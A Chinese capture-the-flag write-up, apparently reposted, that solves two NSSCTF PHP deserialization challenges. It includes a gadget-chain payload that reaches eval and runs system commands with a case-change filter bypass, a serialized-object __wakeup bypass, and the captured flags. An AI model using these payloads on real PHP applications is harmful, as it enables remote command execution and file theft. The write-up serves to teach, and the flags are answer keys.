NSSCTF-Web题目18(反序列化)

目录

[NISACTF 2022]babyserialize

1、题目

2、知识点

3、思路

[SWPUCTF 2022 新生赛]ez_ez_unserialize

4、题目

5、知识点

6、思路


[NISACTF 2022]babyserialize

1、题目

2、知识点

反序列化、绕过过滤、命令执行

3、思路
<?php
include "waf.php";
class NISA{public $fun="show_me_flag";public $txw4ever;public function __wakeup(){if($this->fun=="show_me_flag"){hint();}}function __call($from,$val){$this->fun=$val[0];}public function __toString(){echo $this->fun;return " ";}public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}
}class TianXiWei{public $ext;public $x;public function __wakeup(){$this->ext->nisa($this->x);}
}class Ilovetxw{public $huang;public $su;public function __call($fun1,$arg){$this->huang->fun=$arg[0];}public function __toString(){$bb = $this->su;return $bb();}
}class four{public $a="TXW4EVER";private $fun='abc';public function __set($name, $value){$this->$name=$value;if ($this->fun = "sixsixsix"){strtolower($this->a);}}
}if(isset($_GET['ser'])){@unserialize($_GET['ser']);
}else{highlight_file(__FILE__);
}//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}//function hint(){
//    echo ".......";
//    die();
//}
?>

题目出现了代码,我们老规矩,逐个逐个进行分析

1、NISA类

__wakeup():在进行反序列化前会执行

__invoke():类对象被当成函数时执行

这个类里面有一个if条件,但条件满足时,会执行hint()

重点是在__invoke(),里面有eval函数,这可以给我们执行系统命令,也是获取flag的入口

2、TianXiWei类

这一个类只有一个__wakeup()析构函数,但是有一个不存在的函数nisa()

3、Ilovetxw类

__call:在对象中调用一个不可访问方法时会执行

__toString:类被当成字符串时被调用

这一个类中__toString返回的是一个函数,__call有fun这个不存在的变量

4、four类

__set:对不存在或者不可访问的变量进行赋值就会自动调用

这一类中有一个if条件,满足后将$a变成小写的字符串

通过上面的这些类后,我们下面来捋一下,要怎么得到flag

首先,要得到flag,就要执行系统函数,也就是要执行__invoke中的eval(txw4ever),要调用__invoke需要通过Ilovetxw类的 __toString,因为这个方法结果是返回一个函数,要调用__toString

就要通过four类的__set,且要满足if条件,要调用__set需要通过Ilovetxw类的__call,要调用__call,需要TianXiWei类的__wakeup,因为里面有不存在的函数nias()

payload如下:

<?php
class NISA{//定义变量public $fun="show_me_flag";public $txw4ever;
}
class TianXiWei{//定义变量public $ext;public $x;
}
class Ilovetxw{//定义变量public $huang;public $su;
}
class four{//定义变量public $a="TXW4EVER";private $fun="sixsixsix"; //满足类中的if条件
}$a=new NISA;
$a->txw4ever='system("ls /");';  //将系统命令赋给变量txw4ever
$b=new Ilovetxw; 
$b->su=$a;  //将NISA类当成函数执行,调用__invoke
$c=new four;
$c->a=$b; //将Ilovetxw类当成字符串,调用__to_string
$b=new Ilovetxw;
$b->huang=$c; //将Ilovetxw类传给Ilovetxw类的huang变量,调用__set
$d=new TianXiWei;
$d->ext=$b;  //Ilovetxw类传给TianXiWei的ext变量,调用__call
echo urlencode(serialize($d)); //因为存在private属性的变量,可能存在一些不可见的字符,所以需要进行url编码
?>

PHP 在线工具 | 菜鸟工具 (jyshare.com)

代码最后给了我们提示

这里执行了hint()函数,我们需要进行绕过,更改NISA类中的fun参数

这里要绕过的原因:因为我们是要NISA类中__invoke里面的结果,也就是执行TianXiWei类的_wakeup,而不是NISA类中__wakeup

这里的checkcheck()进行了正则比较,我们只能盲猜

利用大小写绕过

命令正常执行,得到文件

cat /fllllllaaag

完整的payload:

<?php
class NISA{//定义变量public $fun="show_me_flag";public $txw4ever;
}
class TianXiWei{//定义变量public $ext;public $x;
}
class Ilovetxw{//定义变量public $huang;public $su;
}
class four{//定义变量public $a="TXW4EVER";private $fun="sixsixsix"; //满足类中的if条件
}$a=new NISA;
$a->txw4ever='System("cat /fllllllaaag");';  //将系统命令赋给变量txw4ever
$a->fun="aaa";
$b=new Ilovetxw; 
$b->su=$a;  //将NISA类当成函数执行,调用__invoke
$c=new four;
$c->a=$b; //将Ilovetxw类当成字符串,调用__to_string
$b=new Ilovetxw;
$b->huang=$c; //将Ilovetxw类传给Ilovetxw类的huang变量,调用__set
$d=new TianXiWei;
$d->ext=$b;  //Ilovetxw类传给TianXiWei的ext变量,调用__call
echo urlencode(serialize($d)); //因为存在private属性的变量,可能存在一些不可见的字符,所以需要进行url编码
?>

执行结果:

O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A27%3A%22System%28%22cat+%2Ffllllllaaag%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

得到flag:NSSCTF{17e0b531-db47-4e14-abac-9ae0a2e8e3ec}


[SWPUCTF 2022 新生赛]ez_ez_unserialize

4、题目

5、知识点

反序列化,__wakeup()绕过

6、思路

出现代码,我们进行代码审计

X类有三个析构函数

_construct:在类被实例化时调用

__wakeup:在类被反序列化之前调用

__destruct:在对象销毁后执行,这里面有highlight_file函数,并提示我们flag在fllllllag.php里面

所以这个是读取flag的入口

highlight_file()

$_REQUEST可以读取GET方式或者POST方式的数据

难点:我们需要将x=fllllllag.php,然后序列化,但是__wakeup在反序列化前被调用,那我们的赋值就失效了,就要考虑怎么绕过这个函数

解决,序列化后更改序列对象的数量进行绕过

payload如下:

class X{public $x;
}$a=new X;
$a->x="fllllllag.php";
echo serialize($a); 
?>

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";} 

改成:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";} 

  • O代表对象,这里是序列化的一个对象,要序列化数组的就用A
  • 1表示的是类名的长度
  • "X"表示对是类名
  • 1表示类里面有1个属性也称为变量 (更改这里绕过__wakeup)
  • s表示字符串的长度
  • 比如s:1:"x" 这里表示的是 x属性名(变量名)为1个字符串长度 字符串 属性长度 属性值

得到flag:NSSCTF{4812e4ce-01a5-4e02-9975-3d8bc10cdc40}


这篇文章就先写到这里了,哪里不懂的或者哪里不足的欢迎指出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/367858.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ES】--Elasticsearch的翻页详解

目录 一、前言二、from+size浅分页1、from+size导致深度分页问题三、scroll深分页1、scroll原理2、scroll可以返回总计数量四、search_after深分页1、search_after避免深度分页问题一、前言 ES的分页常见的主要有三种方式:from+size浅分页、scroll深分页、search_after分页。…

《昇思25天学习打卡营第7天|函数式自动微分》

文章目录 今日所学&#xff1a;一、函数与计算图二、微分函数与梯度计算三、Stop Gradient四、Auxiliary data五、神经网络梯度计算总结 今日所学&#xff1a; 今天我学习了神经网络训练的核心原理&#xff0c;主要是反向传播算法。这个过程包括将模型预测值&#xff08;logit…

【设计模式】行为型-状态模式

在变幻的时光中&#xff0c;状态如诗篇般细腻流转。 文章目录 一、可调节的灯光二、状态模式三、状态模式的核心组件四、运用状态模式五、状态模式的应用场景六、小结推荐阅读 一、可调节的灯光 场景假设&#xff1a;我们有一个电灯&#xff0c;它可以被打开和关闭。用户可以…

大模型与机器人精彩碰撞-7月5日晚上八点不见不散!

在瞬息万变的科技时代&#xff0c;新兴人工智能和机器人技术的结合正在引领新一轮的创新浪潮。你是否想成为未来科技的领航者&#xff1f;你是否想了解最前沿的AI与机器人技术&#xff1f;行麦科技重磅推出的“AIGC时代的生存法则”AI系列课&#xff0c;将为你揭开大模型与机器…

redis学习(001 介绍)

黑马程序员Redis入门到实战教程&#xff0c;深度透析redis底层原理redis分布式锁企业解决方案黑马点评实战项目 总时长 42:48:00 共175P 此文章包含第1p-第p4的内容 文章目录 介绍差异对比事务区别 认识redis 介绍 两种键值对方式对比 差异对比 事务区别 认识redis

Paimon 在汽车之家的业务实践

汽车之家基于Paimon的实践 摘要&#xff1a;本文分享自汽车之家的王刚、范文、李乾⽼师。介绍了汽车之家基于 Paimon 的一些实践&#xff0c;和一些背景。内容主要为以下四部分&#xff1a; 一、背景 二、业务实践 三、paimon 优化实践 四、未来规划 一、背景 在使用Paimon之前…

Java---Mybatis详解二

雄鹰展翅凌空飞&#xff0c; 大江奔流不回头。 壮志未酬心未老&#xff0c; 豪情万丈任遨游。 巍巍高山攀顶峰&#xff0c; 滔滔黄河入海流。 风云变幻凭君舞&#xff0c; 踏遍天涯尽逍遥。 目录 一&#xff0c;环境准备 二&#xff0c;删除 三&#xff0c;删除(预编译SQL) 为什…

无法定位程序输入点Z9 qt assertPKcS0i于动态链接库F:\code\projects\06_algorithm\main.exe

解决方法&#xff1a; 这个报错&#xff0c;是因为程序在运行时没要找到所需的dll库&#xff0c;如果把这个程序方法中对应库的目录下执行&#xff0c;则可正常执行。即使将图中mingw_64\bin 环境变量上移到msvc2022_64\bin 之前也不可以。 最终的解决方法是在makefile中设置环…

RealMAN:大规模真实录制且经过注释的麦克风阵列数据集

在深度学习驱动的多通道语音增强和声源定位系统的开发中&#xff0c;由于缺乏大规模的真实录制数据集&#xff0c;这些系统的训练在很大程度上依赖于房间脉冲响应&#xff08;RIR&#xff09;和多通道扩散噪声的模拟。然而&#xff0c;模拟数据和真实世界数据之间存在的声学失配…

QStringListModel 绑定到QListView

1.QStringListModel 绑定到listView&#xff0c;从而实现MV模型视图 2.通过QStringListModel的新增、删除、插入、上下移动&#xff0c;listView来展示出来 3.下移动一行&#xff0c;传入curRow2 的个人理解 布局 .h声明 private:QStringList m_strList;QStringListModel *m_m…

[译]Reactjs性能篇

英文有限&#xff0c;技术一般&#xff0c;海涵海涵&#xff0c;由于不是翻译出身&#xff0c;所以存在大量的瞎胡乱翻译的情况&#xff0c;信不过我的&#xff0c;请看原文&#xff5e;&#xff5e; 原文地址&#xff1a;https://facebook.github.io/react/docs/advanced-per…

Servlet_Web小结

1.web开发概述 什么是服务器&#xff1f; 解释一&#xff1a;服务器就是一款软件,可以向其发送请求,服务器会做出一个响应. 可以在服务器中部署文件,让他人访问 解释二&#xff1a;也可以把运行服务器软件的计算机也可以称为服务器。 web开发&#xff1a; 指的是从网页中向后…

Android LayoutInflater 深度解析

在 Android 开发中&#xff0c;LayoutInflater 是一个非常重要的工具。它允许我们从 XML 布局文件中动态地创建 View 对象&#xff0c;从而使得 UI 的创建和管理更加灵活。本文将深入解析 android.view.LayoutInflater&#xff0c;包括它的基本用法、常见问题以及高级用法。 什…

idea xml ctrl+/ 注释格式不对齐

处理前 处理后 解决办法 取消这两个勾选

【UE5.3】笔记6-创建可自由控制Pawn类

搭建场景 搭建一个场景&#xff1a;包含地板、围墙。可以根据喜好加一些自发光的效果。 增加食物 创建食物蓝图类&#xff0c;在场景里放置一些食物以供我们player去吃掉获取分值。 创建可控制的layer 我们先右键创建一个蓝图继承自pawn类&#xff0c;起名BP_Player&#xf…

深度学习之半监督学习:一文梳理目标检测中的半监督学习策略

什么是半监督目标检测&#xff1f; 传统机器学习根据训练数据集中的标注情况&#xff0c;有着不同的场景&#xff0c;主要包括&#xff1a;监督学习、弱监督学习、弱半监督学习、半监督学习。由于目标检测任务的特殊性&#xff0c;在介绍半监督目标检测方法之前&#xff0c;我…

视频融合共享平台LntonCVS统一视频接入平台智慧安防应用方案

安防视频监控平台LntonCVS是一款拥有强大拓展性和灵活部署能力的综合管理平台。它支持多种主流标准协议&#xff0c;包括国标GB28181、RTSP/Onvif、RTMP等&#xff0c;同时兼容各厂家的私有协议和SDK&#xff0c;如海康Ehome、海大宇等。LntonCVS不仅具备传统安防视频监控功能&…

PHP电商系统开发指南最佳实践

电子商务系统开发的最佳实践包括&#xff1a;数据库设计&#xff1a;选择适合关系型数据库&#xff0c;优化数据结构&#xff0c;考虑表分区&#xff1b;安全&#xff1a;加密数据&#xff0c;防止 sql 注入&#xff0c;处理会话管理&#xff1b;用户界面&#xff1a;遵循 ux 原…

mysql-sql-第十四周

学习目标&#xff1a; sql 学习内容&#xff1a; 40.查询学过「哈哈」老师授课的同学的信息 Select * from students left join score on students.stunmscore.stunm where counm (select counm from teacher left join course on teacher.teanmcourse.teanm where teache…

【深度学习】Transformer

李宏毅深度学习笔记 https://blog.csdn.net/Tink1995/article/details/105080033 https://blog.csdn.net/leonardotu/article/details/135726696 https://blog.csdn.net/u012856866/article/details/129790077 Transformer 是一个基于自注意力的序列到序列模型&#xff0c;与基…